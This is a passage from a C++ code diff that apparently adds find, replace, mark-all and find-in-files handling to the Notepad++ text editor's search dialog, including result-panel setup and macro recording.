currentSelection.cpMin; + int replacedLen = 0; + if (isRegExp) + { + replacedLen = (*_ppEditView)->replaceTargetRegExMode(txt2replace); + } + else + { + if (replaceOptions._searchType == FindExtended) + { + int stringSizeReplace = lstrlen(txt2replace); + TCHAR *pText2ReplaceExtended = new TCHAR[stringSizeReplace + 1]; + Searching::convertExtendedToString(txt2replace, pText2ReplaceExtended, stringSizeReplace); + + replacedLen = (*_ppEditView)->replaceTarget(pText2ReplaceExtended); + + delete[] pText2ReplaceExtended; + } + else + { + replacedLen = (*_ppEditView)->replaceTarget(txt2replace); + } + } + (*_ppEditView)->execute(SCI_SETSEL, start + replacedLen, start + replacedLen); + + // Do the next find + moreMatches = processFindNext(txt2find, &replaceOptions, &status, FINDNEXTTYPE_REPLACENEXT); + + if (status == FSEndReached) + { + setStatusbarMessage(TEXT("Replace: Replaced the 1st occurrence from the top. The end of document has been reached."), FSEndReached); + } + else if (status == FSTopReached) + { + setStatusbarMessage(TEXT("Replace: Replaced the 1st occurrence from the bottom. The begin of document has been reached."), FSTopReached); + } + else + { + generic_string msg = TEXT("Replace: 1 occurrence was replaced. "); + msg += moreMatches?TEXT("The next occurence found"):TEXT("The next occurence not found"); + setStatusbarMessage(msg, FSMessage); + } + } + } + else + { + setStatusbarMessage(TEXT("Replace: no occurrence was found."), FSNotFound); + } + + return moreMatches; +} + + + +int FindReplaceDlg::markAll(const TCHAR *txt2find, int styleID, bool isWholeWordSelected) +{ + FindOption opt; + opt._isMatchCase = _options._isMatchCase; + // if whole word is selected for being colorized, isWholeWord option in Find/Replace dialog will be checked + // otherwise this option is false, because user may want to find the words contain the parts to search + opt._isWholeWord = isWholeWordSelected?_options._isWholeWord:false; + opt._str2Search = txt2find; + + int nbFound = processAll(ProcessMarkAllExt, &opt, true, NULL, styleID); + return nbFound; +} + + +int FindReplaceDlg::markAllInc(const FindOption *opt) +{ + int nbFound = processAll(ProcessMarkAll_IncSearch, opt, true); + return nbFound; +} + +int FindReplaceDlg::processAll(ProcessOperation op, const FindOption *opt, bool isEntire, const FindersInfo *pFindersInfo, int colourStyleID) +{ + if (op == ProcessReplaceAll && (*_ppEditView)->getCurrentBuffer()->isReadOnly()) + { + generic_string result = TEXT("Replace All: Cannot replace text. The current document is read only."); + setStatusbarMessage(result, FSNotFound); + return 0; + } + + const FindOption *pOptions = opt?opt:_env; + const TCHAR *txt2find = pOptions->_str2Search.c_str(); + const TCHAR *txt2replace = pOptions->_str4Replace.c_str(); + + CharacterRange cr = (*_ppEditView)->getSelection(); + int docLength = int((*_ppEditView)->execute(SCI_GETLENGTH)); + + // Default : + // direction : down + // begin at : 0 + // end at : end of doc + int startPosition = 0; + int endPosition = docLength; + + bool direction = pOptions->_whichDirection; + + //first try limiting scope by direction + if (direction == DIR_UP) + { + startPosition = 0; + endPosition = cr.cpMax; + } + else + { + startPosition = cr.cpMin; + endPosition = docLength; + } + + //then adjust scope if the full document needs to be changed + if (pOptions->_isWrapAround || isEntire || (op == ProcessCountAll)) //entire document needs to be scanned + { + startPosition = 0; + endPosition = docLength; + } + + //then readjust scope if the selection override is active and allowed + if ((pOptions->_isInSelection) && ((op == ProcessMarkAll) || ((op == ProcessReplaceAll) && (!isEntire)))) //if selection limiter and either mark all or replace all w/o entire document override + { + startPosition = cr.cpMin; + endPosition = cr.cpMax; + } + + if ((op == ProcessMarkAllExt) && (colourStyleID != -1)) + { + startPosition = 0; + endPosition = docLength; + } + + FindReplaceInfo findReplaceInfo; + findReplaceInfo._txt2find = txt2find; + findReplaceInfo._txt2replace = txt2replace; + findReplaceInfo._startRange = startPosition; + findReplaceInfo._endRange = endPosition; + return processRange(op, findReplaceInfo, pFindersInfo, pOptions, colourStyleID); +} + +int FindReplaceDlg::processRange(ProcessOperation op, FindReplaceInfo & findReplaceInfo, const FindersInfo * pFindersInfo, const FindOption *opt, int colourStyleID, ScintillaEditView *view2Process) +{ + int nbProcessed = 0; + + if (!isCreated() && not findReplaceInfo._txt2find) + return nbProcessed; + + ScintillaEditView *pEditView = *_ppEditView; + if (view2Process) + pEditView = view2Process; + + if ((op == ProcessReplaceAll) && pEditView->getCurrentBuffer()->isReadOnly()) + return nbProcessed; + + if (findReplaceInfo._startRange == findReplaceInfo._endRange) + return nbProcessed; + + const FindOption *pOptions = opt?opt:_env; + + LRESULT stringSizeFind = 0; + LRESULT stringSizeReplace = 0; + + TCHAR *pTextFind = NULL; + if (not findReplaceInfo._txt2find) + { + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + generic_string str2Search = getTextFromCombo(hFindCombo); + stringSizeFind = str2Search.length(); + pTextFind = new TCHAR[stringSizeFind + 1]; + lstrcpy(pTextFind, str2Search.c_str()); + } + else + { + stringSizeFind = lstrlen(findReplaceInfo._txt2find); + pTextFind = new TCHAR[stringSizeFind + 1]; + lstrcpy(pTextFind, findReplaceInfo._txt2find); + } + + if (!pTextFind[0]) + { + delete [] pTextFind; + return nbProcessed; + } + + TCHAR *pTextReplace = NULL; + if (op == ProcessReplaceAll) + { + if (not findReplaceInfo._txt2replace) + { + HWND hReplaceCombo = ::GetDlgItem(_hSelf, IDREPLACEWITH); + generic_string str2Replace = getTextFromCombo(hReplaceCombo); + stringSizeReplace = str2Replace.length(); + pTextReplace = new TCHAR[stringSizeReplace + 1]; + lstrcpy(pTextReplace, str2Replace.c_str()); + } + else + { + stringSizeReplace = lstrlen(findReplaceInfo._txt2replace); + pTextReplace = new TCHAR[stringSizeReplace + 1]; + lstrcpy(pTextReplace, findReplaceInfo._txt2replace); + } + } + + if (pOptions->_searchType == FindExtended) + { + stringSizeFind = Searching::convertExtendedToString(pTextFind, pTextFind, static_cast(stringSizeFind)); + if (op == ProcessReplaceAll) + stringSizeReplace = Searching::convertExtendedToString(pTextReplace, pTextReplace, static_cast(stringSizeReplace)); + } + + bool isRegExp = pOptions->_searchType == FindRegex; + int flags = Searching::buildSearchFlags(pOptions) | SCFIND_REGEXP_SKIPCRLFASONE; + + // Allow empty matches, but not immediately after previous match for replace all or find all. + // Other search types should ignore empty matches completely. + if (op == ProcessReplaceAll || op == ProcessFindAll) + flags |= SCFIND_REGEXP_EMPTYMATCH_NOTAFTERMATCH; + + + + if (op == ProcessMarkAll && colourStyleID == -1) //if marking, check if purging is needed + { + if (_env->_doPurge) { + pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE); + if (_env->_doMarkLine) + pEditView->execute(SCI_MARKERDELETEALL, MARK_BOOKMARK); + } + } + + int targetStart = 0; + int targetEnd = 0; + + //Initial range for searching + pEditView->execute(SCI_SETSEARCHFLAGS, flags); + + + bool findAllFileNameAdded = false; + + while (targetStart != -1 && targetStart != -2) + { + targetStart = pEditView->searchInTarget(pTextFind, stringSizeFind, findReplaceInfo._startRange, findReplaceInfo._endRange); + + // If we've not found anything, just break out of the loop + if (targetStart == -1 || targetStart == -2) + break; + + targetEnd = int(pEditView->execute(SCI_GETTARGETEND)); + + if (targetEnd > findReplaceInfo._endRange) { //we found a result but outside our range, therefore do not process it + break; + } + + int foundTextLen = targetEnd - targetStart; + int replaceDelta = 0; + + + switch (op) + { + case ProcessFindAll: + { + const TCHAR *pFileName = TEXT(""); + if (pFindersInfo && pFindersInfo->_pFileName) + pFileName = pFindersInfo->_pFileName; + + if (!findAllFileNameAdded) //add new filetitle in hits if we haven't already + { + _pFinder->addFileNameTitle(pFileName); + findAllFileNameAdded = true; + } + + auto lineNumber = pEditView->execute(SCI_LINEFROMPOSITION, targetStart); + int lend = static_cast(pEditView->execute(SCI_GETLINEENDPOSITION, lineNumber)); + int lstart = static_cast(pEditView->execute(SCI_POSITIONFROMLINE, lineNumber)); + int nbChar = lend - lstart; + + // use the static buffer + TCHAR lineBuf[1024]; + + if (nbChar > 1024 - 3) + lend = lstart + 1020; + + int start_mark = targetStart - lstart; + int end_mark = targetEnd - lstart; + + pEditView->getGenericText(lineBuf, 1024, lstart, lend, &start_mark, &end_mark); + + generic_string line = lineBuf; + line += TEXT("\r\n"); + SearchResultMarking srm; + srm._start = start_mark; + srm._end = end_mark; + _pFinder->add(FoundInfo(targetStart, targetEnd, lineNumber + 1, pFileName), srm, line.c_str()); + + break; + } + + case ProcessFindInFinder: + { + if (not pFindersInfo || not pFindersInfo->_pSourceFinder || not pFindersInfo->_pDestFinder) + break; + + const TCHAR *pFileName = pFindersInfo->_pFileName ? pFindersInfo->_pFileName : TEXT(""); + + if (!findAllFileNameAdded) //add new filetitle in hits if we haven't already + { + pFindersInfo->_pDestFinder->addFileNameTitle(pFileName); + findAllFileNameAdded = true; + } + + auto lineNumber = pEditView->execute(SCI_LINEFROMPOSITION, targetStart); + int lend = static_cast(pEditView->execute(SCI_GETLINEENDPOSITION, lineNumber)); + int lstart = static_cast(pEditView->execute(SCI_POSITIONFROMLINE, lineNumber)); + int nbChar = lend - lstart; + + // use the static buffer + TCHAR lineBuf[1024]; + + if (nbChar > 1024 - 3) + lend = lstart + 1020; + + int start_mark = targetStart - lstart; + int end_mark = targetEnd - lstart; + + pEditView->getGenericText(lineBuf, 1024, lstart, lend, &start_mark, &end_mark); + + generic_string line = lineBuf; + line += TEXT("\r\n"); + SearchResultMarking srm; + srm._start = start_mark; + srm._end = end_mark; + + if (pOptions->_isMatchLineNumber) + { + if (pFindersInfo->_pSourceFinder->canFind(pFileName, lineNumber + 1)) + pFindersInfo->_pDestFinder->add(FoundInfo(targetStart, targetEnd, lineNumber + 1, pFileName), srm, line.c_str()); + } + else + { + pFindersInfo->_pDestFinder->add(FoundInfo(targetStart, targetEnd, lineNumber + 1, pFileName), srm, line.c_str()); + } + break; + } + + case ProcessReplaceAll: + { + int replacedLength; + if (isRegExp) + replacedLength = pEditView->replaceTargetRegExMode(pTextReplace); + else + replacedLength = pEditView->replaceTarget(pTextReplace); + + replaceDelta = replacedLength - foundTextLen; + break; + } + + case ProcessMarkAll: + { + // In theory, we can't have empty matches for a ProcessMarkAll, but because scintilla + // gets upset if we call INDICATORFILLRANGE with a length of 0, we protect against it here. + // At least in version 2.27, after calling INDICATORFILLRANGE with length 0, further indicators + // on the same line would simply not be shown. This may have been fixed in later version of Scintilla. + if (foundTextLen > 0) + { + pEditView->execute(SCI_SETINDICATORCURRENT, SCE_UNIVERSAL_FOUND_STYLE); + pEditView->execute(SCI_INDICATORFILLRANGE, targetStart, foundTextLen); + } + + if (_env->_doMarkLine) + { + auto lineNumber = pEditView->execute(SCI_LINEFROMPOSITION, targetStart); + auto state = pEditView->execute(SCI_MARKERGET, lineNumber); + + if (!(state & (1 << MARK_BOOKMARK))) + pEditView->execute(SCI_MARKERADD, lineNumber, MARK_BOOKMARK); + } + break; + } + + case ProcessMarkAllExt: + { + // See comment by ProcessMarkAll + if (foundTextLen > 0) + { + pEditView->execute(SCI_SETINDICATORCURRENT, colourStyleID); + pEditView->execute(SCI_INDICATORFILLRANGE, targetStart, foundTextLen); + } + break; + } + + case ProcessMarkAll_2: + { + // See comment by ProcessMarkAll + if (foundTextLen > 0) + { + pEditView->execute(SCI_SETINDICATORCURRENT, SCE_UNIVERSAL_FOUND_STYLE_SMART); + pEditView->execute(SCI_INDICATORFILLRANGE, targetStart, foundTextLen); + } + break; + } + + case ProcessMarkAll_IncSearch: + { + // See comment by ProcessMarkAll + if (foundTextLen > 0) + { + pEditView->execute(SCI_SETINDICATORCURRENT, SCE_UNIVERSAL_FOUND_STYLE_INC); + pEditView->execute(SCI_INDICATORFILLRANGE, targetStart, foundTextLen); + } + break; + } + + case ProcessCountAll: + { + //Nothing to do + break; + } + + default: + { + delete [] pTextFind; + delete [] pTextReplace; + return nbProcessed; + } + + } + ++nbProcessed; + + // After the processing of the last string occurence the search loop should be stopped + // This helps to avoid the endless replacement during the EOL ("$") searching + if (targetStart + foundTextLen == findReplaceInfo._endRange) + break; + + findReplaceInfo._startRange = targetStart + foundTextLen + replaceDelta; //search from result onwards + findReplaceInfo._endRange += replaceDelta; //adjust end of range in case of replace + } + + delete [] pTextFind; + delete [] pTextReplace; + + if (nbProcessed > 0) + { + Finder *pFinder = nullptr; + if (op == ProcessFindAll) + { + pFinder = _pFinder; + } + else if (op == ProcessFindInFinder) + { + if (pFindersInfo && pFindersInfo->_pDestFinder) + pFinder = pFindersInfo->_pDestFinder; + else + pFinder = _pFinder; + } + + if (pFinder != nullptr) + pFinder->addFileHitCount(nbProcessed); + } + return nbProcessed; +} + +void FindReplaceDlg::replaceAllInOpenedDocs() +{ + ::SendMessage(_hParent, WM_REPLACEALL_INOPENEDDOC, 0, 0); +} + +void FindReplaceDlg::findAllIn(InWhat op) +{ + bool justCreated = false; + if (!_pFinder) + { + _pFinder = new Finder(); + _pFinder->init(_hInst, _hSelf, _ppEditView); + _pFinder->setVolatiled(false); + + tTbData data = {0}; + _pFinder->create(&data, false); + ::SendMessage(_hParent, NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pFinder->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_BOTTOM | DWS_ICONTAB | DWS_ADDINFO; + data.hIconTab = (HICON)::LoadImage(_hInst, MAKEINTRESOURCE(IDI_FIND_RESULT_ICON), IMAGE_ICON, 0, 0, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszAddInfo = _findAllResultStr; + + data.pszModuleName = TEXT("dummy"); + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + data.dlgID = 0; + ::SendMessage(_hParent, NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + _pFinder->_scintView.init(_hInst, _pFinder->getHSelf()); + + // Subclass the ScintillaEditView for the Finder (Scintilla doesn't notify all key presses) + originalFinderProc = SetWindowLongPtr(_pFinder->_scintView.getHSelf(), GWLP_WNDPROC, reinterpret_cast(finderProc)); + + _pFinder->setFinderReadOnly(true); + _pFinder->_scintView.execute(SCI_SETCODEPAGE, SC_CP_UTF8); + _pFinder->_scintView.execute(SCI_USEPOPUP, FALSE); + _pFinder->_scintView.execute(SCI_SETUNDOCOLLECTION, false); //dont store any undo information + _pFinder->_scintView.execute(SCI_SETCARETLINEVISIBLE, 1); + _pFinder->_scintView.execute(SCI_SETCARETWIDTH, 0); + _pFinder->_scintView.showMargin(ScintillaEditView::_SC_MARGE_FOLDER, true); + + // get the width of FindDlg + RECT findRect; + ::GetWindowRect(_pFinder->getHSelf(), &findRect); + + // overwrite some default settings + _pFinder->_scintView.showMargin(ScintillaEditView::_SC_MARGE_SYBOLE, false); + _pFinder->_scintView.setMakerStyle(FOLDER_STYLE_SIMPLE); + + _pFinder->_scintView.display(); + _pFinder->display(); + ::SendMessage(_hParent, NPPM_DMMHIDE, 0, reinterpret_cast(_pFinder->getHSelf())); + ::UpdateWindow(_hParent); + justCreated = true; + } + _pFinder->setFinderStyle(); + + if (justCreated) + { + // Send the address of _MarkingsStruct to the lexer + char ptrword[sizeof(void*)*2+1]; + sprintf(ptrword, "%p", &_pFinder->_markingsStruct); + _pFinder->_scintView.execute(SCI_SETPROPERTY, reinterpret_cast("@MarkingsStruct"), reinterpret_cast(ptrword)); + } + + ::SendMessage(_pFinder->getHSelf(), WM_SIZE, 0, 0); + + int cmdid = 0; + if (op == ALL_OPEN_DOCS) + cmdid = WM_FINDALL_INOPENEDDOC; + else if (op == FILES_IN_DIR) + cmdid = WM_FINDINFILES; + else if (op == CURRENT_DOC) + cmdid = WM_FINDALL_INCURRENTDOC; + + if (!cmdid) return; + + if (::SendMessage(_hParent, cmdid, 0, 0)) + { + if(_findAllResult == 1) + wsprintf(_findAllResultStr, TEXT("1 hit")); + else + wsprintf(_findAllResultStr, TEXT("%s hits"), commafyInt(_findAllResult).c_str()); + if (_findAllResult) + { + focusOnFinder(); + } + else + { + // Show finder + ::SendMessage(_hParent, NPPM_DMMSHOW, 0, reinterpret_cast(_pFinder->getHSelf())); + getFocus(); // no hits + } + } + else // error - search folder doesn't exist + ::SendMessage(_hSelf, WM_NEXTDLGCTL, reinterpret_cast(::GetDlgItem(_hSelf, IDD_FINDINFILES_DIR_COMBO)), TRUE); +} + +Finder * FindReplaceDlg::createFinder() +{ + Finder *pFinder = new Finder(); + + pFinder->init(_hInst, _hSelf, _ppEditView); + + tTbData data = { 0 }; + pFinder->create(&data, false); + ::SendMessage(_hParent, NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(pFinder->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_BOTTOM | DWS_ICONTAB | DWS_ADDINFO; + data.hIconTab = (HICON)::LoadImage(_hInst, MAKEINTRESOURCE(IDI_FIND_RESULT_ICON), IMAGE_ICON, 0, 0, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszAddInfo = _findAllResultStr; + + data.pszModuleName = TEXT("dummy"); + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + data.dlgID = 0; + ::SendMessage(_hParent, NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + pFinder->_scintView.init(_hInst, pFinder->getHSelf()); + + // Subclass the ScintillaEditView for the Finder (Scintilla doesn't notify all key presses) + originalFinderProc = SetWindowLongPtr(pFinder->_scintView.getHSelf(), GWLP_WNDPROC, reinterpret_cast(finderProc)); + + pFinder->setFinderReadOnly(true); + pFinder->_scintView.execute(SCI_SETCODEPAGE, SC_CP_UTF8); + pFinder->_scintView.execute(SCI_USEPOPUP, FALSE); + pFinder->_scintView.execute(SCI_SETUNDOCOLLECTION, false); //dont store any undo information + pFinder->_scintView.execute(SCI_SETCARETLINEVISIBLE, 1); + pFinder->_scintView.execute(SCI_SETCARETWIDTH, 0); + pFinder->_scintView.showMargin(ScintillaEditView::_SC_MARGE_FOLDER, true); + + // get the width of FindDlg + RECT findRect; + ::GetWindowRect(pFinder->getHSelf(), &findRect); + + // overwrite some default settings + pFinder->_scintView.showMargin(ScintillaEditView::_SC_MARGE_SYBOLE, false); + pFinder->_scintView.setMakerStyle(FOLDER_STYLE_SIMPLE); + + pFinder->_scintView.display(); + pFinder->display(); + ::UpdateWindow(_hParent); + + pFinder->setFinderStyle(); + + // Send the address of _MarkingsStruct to the lexer + char ptrword[sizeof(void*) * 2 + 1]; + sprintf(ptrword, "%p", &pFinder->_markingsStruct); + pFinder->_scintView.execute(SCI_SETPROPERTY, reinterpret_cast("@MarkingsStruct"), reinterpret_cast(ptrword)); + + _findersOfFinder.push_back(pFinder); + + ::SendMessage(pFinder->getHSelf(), WM_SIZE, 0, 0); + + // Show finder + ::SendMessage(_hParent, NPPM_DMMSHOW, 0, reinterpret_cast(pFinder->getHSelf())); + pFinder->_scintView.getFocus(); + + return pFinder; +} + +bool FindReplaceDlg::removeFinder(Finder *finder2remove) +{ + for (vector::iterator i = _findersOfFinder.begin(); i != _findersOfFinder.end(); ++i) + { + if (*i == finder2remove) + { + delete finder2remove; + _findersOfFinder.erase(i); + return true; + } + } + return false; +} + +void FindReplaceDlg::setSearchText(TCHAR * txt2find) { + HWND hCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + if (txt2find && txt2find[0]) + { + // We got a valid search string + ::SendMessage(hCombo, CB_SETCURSEL, static_cast(-1), 0); // remove selection - to allow using down arrow to get to last searched word + ::SetDlgItemText(_hSelf, IDFINDWHAT, txt2find); + } + ::SendMessage(hCombo, CB_SETEDITSEL, 0, MAKELPARAM(0, -1)); // select all text - fast edit +} + +void FindReplaceDlg::enableReplaceFunc(bool isEnable) +{ + _currentStatus = isEnable?REPLACE_DLG:FIND_DLG; + int hideOrShow = isEnable?SW_SHOW:SW_HIDE; + RECT *pClosePos = isEnable?&_replaceClosePos:&_findClosePos; + + enableFindInFilesControls(false); + enableMarkAllControls(false); + // replace controls + ::ShowWindow(::GetDlgItem(_hSelf, ID_STATICTEXT_REPLACE),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACE),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEWITH),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEALL),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEINSEL),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REPLACE_OPENEDFILES),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REPLACEINSELECTION),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_IN_SELECTION_CHECK), hideOrShow); + + // find controls + ::ShowWindow(::GetDlgItem(_hSelf, IDC_FINDALL_OPENEDFILES), !hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDCCOUNTALL),!hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_FINDALL_CURRENTFILE),!hideOrShow); + + gotoCorrectTab(); + + ::MoveWindow(::GetDlgItem(_hSelf, IDCANCEL), pClosePos->left + _deltaWidth, pClosePos->top, pClosePos->right, pClosePos->bottom, TRUE); + + TCHAR label[MAX_PATH]; + _tab.getCurrentTitle(label, MAX_PATH); + ::SetWindowText(_hSelf, label); + + setDefaultButton(IDOK); +} + +void FindReplaceDlg::enableMarkAllControls(bool isEnable) +{ + int hideOrShow = isEnable?SW_SHOW:SW_HIDE; + ::ShowWindow(::GetDlgItem(_hSelf, IDCMARKALL),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_MARKLINE_CHECK),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_PURGE_CHECK),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CLEAR_ALL),hideOrShow); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_IN_SELECTION_CHECK), hideOrShow); + + ::ShowWindow(::GetDlgItem(_hSelf, IDC_BACKWARDDIRECTION), !hideOrShow); +} + +void FindReplaceDlg::enableFindInFilesControls(bool isEnable) +{ + // Hide Items + ::ShowWindow(::GetDlgItem(_hSelf, IDC_BACKWARDDIRECTION), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDWRAP), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDCCOUNTALL), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_FINDALL_OPENEDFILES), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_FINDALL_CURRENTFILE), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDOK), isEnable?SW_HIDE:SW_SHOW); + + ::ShowWindow(::GetDlgItem(_hSelf, IDC_MARKLINE_CHECK), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_PURGE_CHECK), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_IN_SELECTION_CHECK), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CLEAR_ALL), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDCMARKALL), isEnable?SW_HIDE:SW_SHOW); + + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACE), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REPLACEINSELECTION), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEALL), isEnable?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REPLACE_OPENEDFILES), isEnable?SW_HIDE:SW_SHOW); + + // Show Items + if (isEnable) + { + ::ShowWindow(::GetDlgItem(_hSelf, ID_STATICTEXT_REPLACE), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDREPLACEWITH), SW_SHOW); + } + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_REPLACEINFILES), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_FILTERS_STATIC), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_FILTERS_COMBO), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_DIR_STATIC), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_DIR_COMBO), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_BROWSE_BUTTON), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_FIND_BUTTON), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_GOBACK_BUTTON), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_RECURSIVE_CHECK), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_INHIDDENDIR_CHECK), isEnable?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK), isEnable?SW_SHOW:SW_HIDE); +} + +void FindReplaceDlg::getPatterns(vector & patternVect) +{ + cutString(_env->_filters.c_str(), patternVect); +} + +void FindReplaceDlg::saveInMacro(size_t cmd, int cmdType) +{ + int booleans = 0; + ::SendMessage(_hParent, WM_FRSAVE_INT, IDC_FRCOMMAND_INIT, 0); + ::SendMessage(_hParent, WM_FRSAVE_STR, IDFINDWHAT, reinterpret_cast(_options._str2Search.c_str())); + booleans |= _options._isWholeWord?IDF_WHOLEWORD:0; + booleans |= _options._isMatchCase?IDF_MATCHCASE:0; + booleans |= _options._dotMatchesNewline?IDF_REDOTMATCHNL:0; + + ::SendMessage(_hParent, WM_FRSAVE_INT, IDNORMAL, _options._searchType); + if (cmd == IDCMARKALL) + { + booleans |= _options._doPurge?IDF_PURGE_CHECK:0; + booleans |= _options._doMarkLine?IDF_MARKLINE_CHECK:0; + } + if (cmdType & FR_OP_REPLACE) + ::SendMessage(_hParent, WM_FRSAVE_STR, IDREPLACEWITH, reinterpret_cast(_options._str4Replace.c_str())); + if (cmdType & FR_OP_FIF) + { + ::SendMessage(_hParent, WM_FRSAVE_STR, IDD_FINDINFILES_DIR_COMBO, reinterpret_cast(_options._directory.c_str())); + ::SendMessage(_hParent, WM_FRSAVE_STR, IDD_FINDINFILES_FILTERS_COMBO, reinterpret_cast(_options._filters.c_str())); + booleans |= _options._isRecursive?IDF_FINDINFILES_RECURSIVE_CHECK:0; + booleans |= _options._isInHiddenDir?IDF_FINDINFILES_INHIDDENDIR_CHECK:0; + } + else if (!(cmdType & FR_OP_GLOBAL)) + { + booleans |= _options._isInSelection?IDF_IN_SELECTION_CHECK:0; + booleans |= _options._isWrapAround?IDF_WRAP:0; + booleans |= _options._whichDirection?IDF_WHICH_DIRECTION:0; + } + ::SendMessage(_hParent, WM_FRSAVE_INT, IDC_FRCOMMAND_BOOLEANS, booleans); + ::SendMessage(_hParent, WM_FRSAVE_INT, IDC_FRCOMMAND_EXEC, cmd); +} + +void FindReplaceDlg::setStatusbarMessage(const generic_string & msg, FindStatus staus) +{ + if (staus == FSNotFound) + { + ::MessageBeep(0xFFFFFFFF); + + FLASHWINFO flashInfo; + flashInfo.cbSize = sizeof(FLASHWINFO); + flashInfo.hwnd = isVisible()?_hSelf:GetParent(_hSelf); + flashInfo.uCount = 3; + flashInfo.dwTimeout = 100; + flashInfo.dwFlags = FLASHW_ALL; + FlashWindowEx(&flashInfo); + } + else if (staus == FSTopReached || staus == FSEndReached) + { + if (!isVisible()) { + FLASHWINFO flashInfo; + flashInfo.cbSize = sizeof(FLASHWINFO); + flashInfo.hwnd = GetParent(_hSelf); + flashInfo.uCount = 2; + flashInfo.dwTimeout = 100; + flashInfo.dwFlags = FLASHW_ALL; + FlashWindowEx(&flashInfo); + } + } + + if (isVisible()) + { + _statusbarFindStatus = staus; + _statusBar.setOwnerDrawText(msg.c_str()); + } +} + +void FindReplaceDlg::execSavedCommand(int cmd, uptr_t intValue, generic_string stringValue) +{ + switch(cmd) + { + case IDC_FRCOMMAND_INIT: + _env = new FindOption; + break; + case IDFINDWHAT: + _env->_str2Search = stringValue; + break; + case IDC_FRCOMMAND_BOOLEANS: + _env->_isWholeWord = ((intValue & IDF_WHOLEWORD)> 0); + _env->_isMatchCase = ((intValue & IDF_MATCHCASE)> 0); + _env->_isRecursive = ((intValue & IDF_FINDINFILES_RECURSIVE_CHECK)> 0); + _env->_isInHiddenDir = ((intValue & IDF_FINDINFILES_INHIDDENDIR_CHECK)> 0); + _env->_doPurge = ((intValue & IDF_PURGE_CHECK)> 0); + _env->_doMarkLine = ((intValue & IDF_MARKLINE_CHECK)> 0); + _env->_isInSelection = ((intValue & IDF_IN_SELECTION_CHECK)> 0); + _env->_isWrapAround = ((intValue & IDF_WRAP)> 0); + _env->_whichDirection = ((intValue & IDF_WHICH_DIRECTION)> 0); + _env->_dotMatchesNewline = ((intValue & IDF_REDOTMATCHNL)> 0); + break; + case IDNORMAL: + _env->_searchType = static_cast(intValue); + break; + case IDREPLACEWITH: + _env->_str4Replace = stringValue; + break; + case IDD_FINDINFILES_DIR_COMBO: + _env->_directory = stringValue; + break; + case IDD_FINDINFILES_FILTERS_COMBO: + _env->_filters = stringValue; + break; + case IDC_FRCOMMAND_EXEC: + { + NppParameters *nppParamInst = 